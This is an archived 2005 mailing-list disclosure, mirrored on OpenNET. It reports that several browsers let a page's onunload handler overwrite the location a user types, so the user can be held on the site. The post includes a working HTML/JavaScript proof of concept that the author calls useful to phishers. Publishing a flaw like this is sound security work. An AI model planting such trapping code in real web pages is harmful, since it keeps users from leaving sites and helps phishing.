The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


unload event in ie/mozilla/opera


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Tue, 23 Aug 2005 16:09:51 +0200
From: Tobias Boonstoppel <boonstoppel@gmail.com.>
To: [email protected]
Subject: unload event in ie/mozilla/opera
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
X-Virus-Scanned: antivirus-gw at tyumen.ru

in nearly all browsers* you can overwrite the window location in the
"onunload" event.

that means you can "keep" the user on a site. when you type a new url
in the address-bar, javascript overwrites it. thats a paradies for
fishers, porn-site-hoster etc......

here the html/javascript code:

<html>
<head>
<script>
window.unlock =3D false;
window.onunload=3Dfunction()
{
if(!window.unlock)
 window.location.href=3D'unload.html';
}
document.onmousedown=3Dfunction()
{
  window.unlock =3D true;
}
</script>
</head>
<body>
<a href=3D"?link=3D1">Link 1</a><br>
<a href=3D"?link=3D2">Link 2</a><br>
<a href=3D"?link=3D3">Link 3</a><br>
<a href=3D"?link=3D4">Link 4</a><br>
</body>
</html>


cheers
Tobias Boonstoppel


ps: * i testet it on firefox (linux / window) opera (linux) and
internet explorer.


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру